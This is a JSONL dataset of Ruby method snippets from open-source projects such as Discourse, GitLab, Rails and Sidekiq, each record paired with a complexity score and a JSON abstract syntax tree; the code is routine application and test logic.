{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/utils/ai_staff_action_logger.rb","start_line":141,"raw_source":"def format_field_change(field, initial_value, current_value, options = {})\n        if options[:type] == :sensitive\n          return format_sensitive_field_change(initial_value, current_value)\n        elsif options[:type] == :large_text ||\n              (initial_value.is_a?(String) && initial_value.length > MAX_TEXT_LENGTH) ||\n              (current_value.is_a?(String) && current_value.length > MAX_TEXT_LENGTH)\n          return I18n.t(\"discourse_ai.ai_staff_action_logger.updated\")\n        end\n\n        # Default formatting: \"old_value → new_value\"\n        \"#{initial_value} → #{current_value}\"\n      end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"format_field_change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"arg\",\"children\":[\"initial_value\"]},{\"type\":\"arg\",\"children\":[\"current_value\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"sensitive\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_sensitive_field_change\",{\"type\":\"lvar\",\"children\":[\"initial_value\"]},{\"type\":\"lvar\",\"children\":[\"current_value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"large_text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initial_value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initial_value\"]},\"length\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_TEXT_LENGTH\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_value\"]},\"length\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_TEXT_LENGTH\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"discourse_ai.ai_staff_action_logger.updated\"]}]}]},null]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initial_value\"]}]},{\"type\":\"str\",\"children\":[\" → \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_value\"]}]}]}]}]}","id":"f8376c27-99f8-4912-b2fc-88cd7d0043e5"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_query.rb","start_line":616,"raw_source":"def latest_results(options = {})\n    result = default_results(options)\n    result = remove_muted(result, @user, options)\n    result = apply_shared_drafts(result, get_category_id(options[:category]), options)\n\n    # plugins can remove topics here:\n    self.class.results_filter_callbacks.each do |filter_callback|\n      result = filter_callback.call(:latest, result, @user, options)\n    end\n\n    result\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"latest_results\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"default_results\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"remove_muted\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"apply_shared_drafts\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[null,\"get_category_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category\"]}]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"results_filter_callbacks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter_callback\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_callback\"]},\"call\",{\"type\":\"sym\",\"children\":[\"latest\"]},{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"4494c637-a788-4a88-9993-c2a9f7a83fe2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/application_rate_limiter.rb","start_line":227,"raw_source":"def application_rate_limiter_histogram\n        @application_rate_limiter_histogram ||= Gitlab::Metrics.histogram(\n          :gitlab_application_rate_limiter_throttle_utilization_ratio,\n          \"The utilization-ratio of a throttle.\",\n          { peek: nil, throttle_key: nil, feature_category: nil },\n          LIMIT_USAGE_BUCKET\n        )\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"application_rate_limiter_histogram\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@application_rate_limiter_histogram\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"histogram\",{\"type\":\"sym\",\"children\":[\"gitlab_application_rate_limiter_throttle_utilization_ratio\"]},{\"type\":\"str\",\"children\":[\"The utilization-ratio of a throttle.\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"peek\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"throttle_key\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feature_category\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"const\",\"children\":[null,\"LIMIT_USAGE_BUCKET\"]}]}]}]}","id":"cb1f402e-7750-40b3-8d5e-9041b61c15c8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/inverse_associations_test.rb","start_line":303,"raw_source":"def test_polymorphic_associations_dont_attempt_to_find_inverse_of\n    belongs_to_ref = Sponsor.reflect_on_association(:sponsor)\n    assert_raise(ArgumentError) { belongs_to_ref.klass }\n    assert_nil belongs_to_ref.inverse_of\n\n    belongs_to_ref = Face.reflect_on_association(:super_human)\n    assert_raise(ArgumentError) { belongs_to_ref.klass }\n    assert_nil belongs_to_ref.inverse_of\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_polymorphic_associations_dont_attempt_to_find_inverse_of\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"belongs_to_ref\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sponsor\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"sponsor\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"belongs_to_ref\"]},\"klass\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"belongs_to_ref\"]},\"inverse_of\"]}]},{\"type\":\"lvasgn\",\"children\":[\"belongs_to_ref\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Face\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"super_human\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"belongs_to_ref\"]},\"klass\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"belongs_to_ref\"]},\"inverse_of\"]}]}]}]}","id":"ceade3ea-fb58-4fca-8ea1-c86ce9dadd40"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/helpers/mask_token.rb","start_line":17,"raw_source":"def use_group_ci_variable(name:, value:, group:)\n          Resource::GroupCiVariable.fabricate_via_api! do |ci_variable|\n            ci_variable.group = group\n            ci_variable.key = name\n            ci_variable.value = value\n            ci_variable.masked = true\n          end\n          \"${#{name}}\"\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"use_group_ci_variable\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"value\"]},{\"type\":\"kwarg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resource\"]},\"GroupCiVariable\"]},\"fabricate_via_api!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ci_variable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci_variable\"]},\"group=\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci_variable\"]},\"key=\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci_variable\"]},\"value=\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci_variable\"]},\"masked=\",{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"${\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"}\"]}]}]}]}","id":"aa1310ef-2ea5-4a9c-94e8-b6e4f4ba42d0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/ansi2json/converter.rb","start_line":237,"raw_source":"def flush_current_line(hard_flush = true)\n          current_line = @state.current_line\n\n          unless current_line.empty?\n            @lines << current_line.to_h\n          end\n\n          if hard_flush\n            # Account for timestamps in line continuations plus the chopped \\n at each preceding continued line\n            continuation_line_count = current_line.timestamps.count - 1\n            @state.offset += (TIMESTAMP_HEADER_LENGTH + 1) * continuation_line_count if continuation_line_count > 0\n            @state.new_line!\n          else\n            new_line_offset = @state.offset\n            # Discount offset from timestamp content if we're still at the beginning of the line\n            new_line_offset -= TIMESTAMP_HEADER_LENGTH if current_line.empty? && current_line.timestamps.any?\n            # Preserve timestamps from current line, since this is a soft flush\n            @state.new_line!(offset: new_line_offset, timestamps: @state.current_line.timestamps)\n          end\n        end","complexity_score":36.68,"ast_json":"{\"type\":\"def\",\"children\":[\"flush_current_line\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"hard_flush\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_line\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"current_line\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_line\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lines\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_line\"]},\"to_h\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hard_flush\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"continuation_line_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_line\"]},\"timestamps\"]},\"count\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"continuation_line_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"offset\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TIMESTAMP_HEADER_LENGTH\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"*\",{\"type\":\"lvar\",\"children\":[\"continuation_line_count\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"new_line!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_line_offset\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"offset\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_line\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_line\"]},\"timestamps\"]},\"any?\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_line_offset\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"TIMESTAMP_HEADER_LENGTH\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"new_line!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"new_line_offset\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamps\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"current_line\"]},\"timestamps\"]}]}]}]}]}]}]}]}","id":"30599f84-4b29-4eb6-b48b-5723775d0906"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/gravatar_service.rb","start_line":24,"raw_source":"def gravatar_config\n    Gitlab.config.gravatar\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gravatar_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gravatar\"]}]}","id":"e09b5f11-a643-415f-b997-3f421506420a"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/families/update_location_sharing.rb","start_line":31,"raw_source":"def enabled?\n    @enabled ||= boolean_caster.cast(enabled_param)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"boolean_caster\"]},\"cast\",{\"type\":\"send\",\"children\":[null,\"enabled_param\"]}]}]}]}","id":"ed77b4f3-3367-4988-9457-dc2305735cf3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/members/invite_reminder_mailer.rb","start_line":92,"raw_source":"def salutation_html\n        wave_emoji_tag = Gitlab::Emoji.gl_emoji_tag(TanukiEmoji.find_by_alpha_code('wave'))\n        safe_format(s_('InviteReminderEmail|Hey there %{wave_emoji}'), wave_emoji: wave_emoji_tag)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"salutation_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wave_emoji_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Emoji\"]},\"gl_emoji_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TanukiEmoji\"]},\"find_by_alpha_code\",{\"type\":\"str\",\"children\":[\"wave\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"safe_format\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"InviteReminderEmail|Hey there %{wave_emoji}\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wave_emoji\"]},{\"type\":\"lvar\",\"children\":[\"wave_emoji_tag\"]}]}]}]}]}]}","id":"ea6a4332-3b9f-4f01-aca9-a89f797131f6"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":953,"raw_source":"def test_form_with_without_object\n    form_with(scope: :post, id: \"create-post\") do |f|\n      concat f.text_field(:title)\n      concat f.textarea(:body)\n      concat f.checkbox(:secret)\n    end\n\n    expected = whole_form(\"/\", \"create-post\") do\n      \"<input name='post[title]' type='text' value='Hello World' id='post_title' />\" \\\n      \"<textarea name='post[body]' id='post_body' >\\nBack to the hill and over it again!</textarea>\" \\\n      \"<input name='post[secret]' type='hidden' value='0' autocomplete='off' />\" \\\n      \"<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />\"\n    end\n\n    assert_dom_equal expected, @rendered\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_with_without_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"sym\",\"children\":[\"post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"create-post\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"textarea\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"checkbox\",{\"type\":\"sym\",\"children\":[\"secret\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"str\",\"children\":[\"create-post\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input name='post[title]' type='text' value='Hello World' id='post_title' />\"]},{\"type\":\"str\",\"children\":[\"<textarea name='post[body]' id='post_body' >\\nBack to the hill and over it again!</textarea>\"]},{\"type\":\"str\",\"children\":[\"<input name='post[secret]' type='hidden' value='0' autocomplete='off' />\"]},{\"type\":\"str\",\"children\":[\"<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"455884e7-f46e-4356-92db-23a70a129513"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/system_testing/browser.rb","start_line":65,"raw_source":"def resolve_driver_path(namespace)\n          # The path method has been deprecated in 4.20.0\n          if Gem::Version.new(::Selenium::WebDriver::VERSION) >= Gem::Version.new(\"4.20.0\")\n            namespace::Service.driver_path = ::Selenium::WebDriver::DriverFinder.new(options, namespace::Service.new).driver_path\n          else\n            namespace::Service.driver_path = ::Selenium::WebDriver::DriverFinder.path(options, namespace::Service)\n          end\n        end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_driver_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Selenium\"]},\"WebDriver\"]},\"VERSION\"]}]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"4.20.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"Service\"]},\"driver_path=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Selenium\"]},\"WebDriver\"]},\"DriverFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"Service\"]},\"new\"]}]},\"driver_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"Service\"]},\"driver_path=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Selenium\"]},\"WebDriver\"]},\"DriverFinder\"]},\"path\",{\"type\":\"send\",\"children\":[null,\"options\"]},{\"type\":\"const\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"Service\"]}]}]}]}]}","id":"460be4fb-ebd4-45a6-b50c-3605b7c4e1e1"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/api_app_generator_test.rb","start_line":80,"raw_source":"def test_generator_if_skip_action_cable_is_given\n    run_generator [destination_root, \"--api\", \"--skip-action-cable\"]\n    assert_file \"config/application.rb\", /#\\s+require\\s+[\"']action_cable\\/engine[\"']/\n    assert_no_file \"config/cable.yml\"\n    assert_file \"Gemfile\" do |content|\n      assert_no_match(/\"redis\"/, content)\n    end\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generator_if_skip_action_cable_is_given\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--api\"]},{\"type\":\"str\",\"children\":[\"--skip-action-cable\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/application.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"#\\\\s+require\\\\s+[\\\"']action_cable/engine[\\\"']\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"config/cable.yml\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"Gemfile\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"redis\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}","id":"dc16c9d2-8b76-47b2-bdb6-34f63177a852"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/import/placeholder_references/alias_resolver.rb","start_line":268,"raw_source":"def aliased_column(model, column, version:)\n        aliased_column = aliases.dig(model, version, :columns, column)\n        return aliased_column if aliased_column.present?\n\n        track_error_for_missing(model: model, column: column, version: version)\n\n        column\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"aliased_column\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"kwarg\",\"children\":[\"version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"aliased_column\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aliases\"]},\"dig\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"sym\",\"children\":[\"columns\"]},{\"type\":\"lvar\",\"children\":[\"column\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aliased_column\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aliased_column\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"track_error_for_missing\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"lvar\",\"children\":[\"column\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}","id":"b7ec8701-91de-4435-98fd-abd5ca3ca21f"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/job.rb","start_line":251,"raw_source":"def perform_bulk(args, **options)\n        client = @klass.build_client\n        client.push_bulk(@opts.merge({\"class\" => @klass, \"args\" => args}, options))\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_bulk\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"build_client\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"push_bulk\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"ivar\",\"children\":[\"@klass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"0cc195dc-b057-4e0a-982f-0bc091b68d0d"}
